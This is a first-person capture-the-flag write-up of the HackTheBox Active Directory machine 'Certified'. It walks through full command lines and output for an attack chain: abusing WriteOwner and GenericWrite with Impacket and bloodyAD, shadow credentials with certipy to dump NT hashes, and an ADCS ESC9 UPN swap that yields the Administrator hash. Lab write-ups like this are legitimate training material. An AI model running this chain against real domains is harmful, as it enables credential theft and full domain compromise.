Recon

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-03 14:54:47Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:56:06+00:00; +7h00m00s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-03T14:56:07+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:56:06+00:00; +7h00m00s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:56:07+00:00; +7h00m00s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

For this machine HTB tried out a new approach of providing the players with a valid user credential. That meant that right of the bat I had the following username and password judith.mader / judith09.

My first thought was to go straight to logging into the machine with winRM. But as that failed I actually did a port scan and went to do some further enumeration. There I find the domain name DC01.certified.htb which I add to my /etc/hosts file and gather the fact that I am dealing with an Active Directory domain controller.

Foothold as management_svc

To get more information about the AD I use netexec and Bloodhound to gather said data.

$ netexec ldap 'certified.htb' -u 'judith.mader' -p 'judith09' --bloodhound -c all --dns-server 10.129.117.245
SMB         10.129.117.245  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.129.117.245  389    DC01             [+] certified.htb\judith.mader:judith09
LDAP        10.129.117.245  389    DC01             Resolved collection methods: group, session, objectprops, trusts, localadmin, psremote, rdp, container, acl, dcom
LDAP        10.129.117.245  389    DC01             Done in 00M 04S
LDAP        10.129.117.245  389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.129.117.245_2024-11-03_085853_bloodhound.zip

Plotting the shortest path to Domain Admin I can see a path from judith.mader to management_svc, which is can PSRemote into the machine.

As you can see from the Bloodhound graph I can abuse WriteOwner on the management group. Members of said group than have a GenericWrite over the management_svc user. Since the name of the machine kind of hints at AD CS being in play here I can make use of a Shadow Credential to get the NT hash of management_svc.

To make use of WriteOwner I use the Impacket scripts owneredit.py and dacledit.pyto ultimately make myself the owner and than grant me the WriteMembers permission on the group.

$ owneredit.py -action write -new-owner 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
 
$ dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] DACL backed up to dacledit-20241103-161327.bak
[*] DACL modified successfully!

Now as the penultimate step I proceed to use bloodyAD to make use of my new permissions and finally add judith.mader to the management group.

$ bloodyAD -d 'certified.htbb' -u 'judith.mader' -p 'judith09' --host 10.129.117.245 add groupMember 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'judith.mader'
[+] judith.mader added to CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB

Finally being a member of the group which has GenericWrite over management_svc. As mentioned before I want to use a Shadow Credential to get the NT hash of the user. I can do this completely automatically with the help of certipy-ad. Since this entire process involves Kerberos tickets and the clock skew to the domain controller is +7h00m00s, I first have to sync my time. While the faketime command is rather popular I often choose to use the NTP service of the domain controller itself.

$ sudo timedatectl set-ntp 0
 
$ sudo rdate -n '10.129.117.245'
Sun Nov  3 16:13:00 CET 2024
 
$ certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -dc-ip 10.129.117.245 -account 'management_svc' -target 'DC01.certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'fd656b5e-e2e5-6cd4-2f7b-dc9e520ba6cb'
[*] Adding Key Credential with device ID 'fd656b5e-e2e5-6cd4-2f7b-dc9e520ba6cb' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID 'fd656b5e-e2e5-6cd4-2f7b-dc9e520ba6cb' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

With the NT hash of management_svc I can finally use evil-winrm to connect to the machine and read the user flag.

Shell as Administrator

NT Hash - ca-operator

Looking at the Bloodhound graph I can see that the now compromised user management_svc has a GenericAll over the ca_operator account. Which is a more powerful version of the previously abused GenericWrite. As such my first step is to get the NT hash of ca_operator in the same way as I just did a few moments ago.

$ certipy-ad shadow auto -u 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -dc-ip 10.129.117.245 -account 'ca_operator' -target 'DC01.certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'ca_operator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'd80b893b-284c-9047-f977-230a6567bb6f'
[*] Adding Key Credential with device ID 'd80b893b-284c-9047-f977-230a6567bb6f' to the Key Credentials for 'ca_operator'
[*] Successfully added Key Credential with device ID 'd80b893b-284c-9047-f977-230a6567bb6f' to the Key Credentials for 'ca_operator'
[*] Authenticating as 'ca_operator' with the certificate
[*] Using principal: ca_operator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_operator.ccache'
[*] Trying to retrieve NT hash for 'ca_operator'
[*] Restoring the old Key Credentials for 'ca_operator'
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2

ESC 9

From here on out you can two slightly different paths to finding the privilege escalation vector. Out of force of habit I transfer the latest Sharphound collector onto the machine and collect AD information again. The key difference to netexec is that this collector is compatible with the Bloodhound Community Edition by SpectreOps. This edition comes with some nice features like supporting AD CS.

From there simply going through the cypher-queries for AD CS I find that the ca_operator can enroll to the CertifiedAuthentication certificate. The msPKI-Enrollment-Flag attribute of this template contains the flag CT_FLAG_NO_SECURITY_EXTENSION. Which also called ESC9.

TLDR; ESC9

In this scenario, user1 has GenericWrite against user2 and wants to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value. by The Hacker Recipes

Since I have already compromised the two required users I can start right away with working my way towards Administrator. If no security extension is set during Kerberos authentication with such a certificate the userPrincipalName (UPN) is checked first. The GenericAll over ca_operator allows me to change the UPN of it to the one of the user I want to compromise.

Since I want to compromise the Administrator account I set the corresponding UPN on ca_operator using certipy-ad.

$ certipy-ad account update -u 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator@certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_operator':
    userPrincipalName                   : administrator@certified.htb
[*] Successfully updated 'ca_operator'

With the UPN prepared I can than request a certificate as ca_operator based on the vulnerable template CertifiedAuthentication.

$ certipy-ad req -username "ca_operator@certified.htb" -hashes "b4b86f45c6018f1b664f70805f45d8f2" -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'administrator@certified.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Since right now there are two users in the domain with the same UPN, if want use my certificate for authentication it will fail. While it will try to associate the correct user based on the UPN, the sAMAccountName will mismatch and the authentication will fail. So to fix this issue I have to set the UPN of ca_operator to any other value.

$ certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn 'ca_operator@certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Now that authentication is working as intended I can extract the NT hash of the Administrator from the certificate.

$ certipy-ad auth -pfx 'administrator.pfx' -domain "certified.htb"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34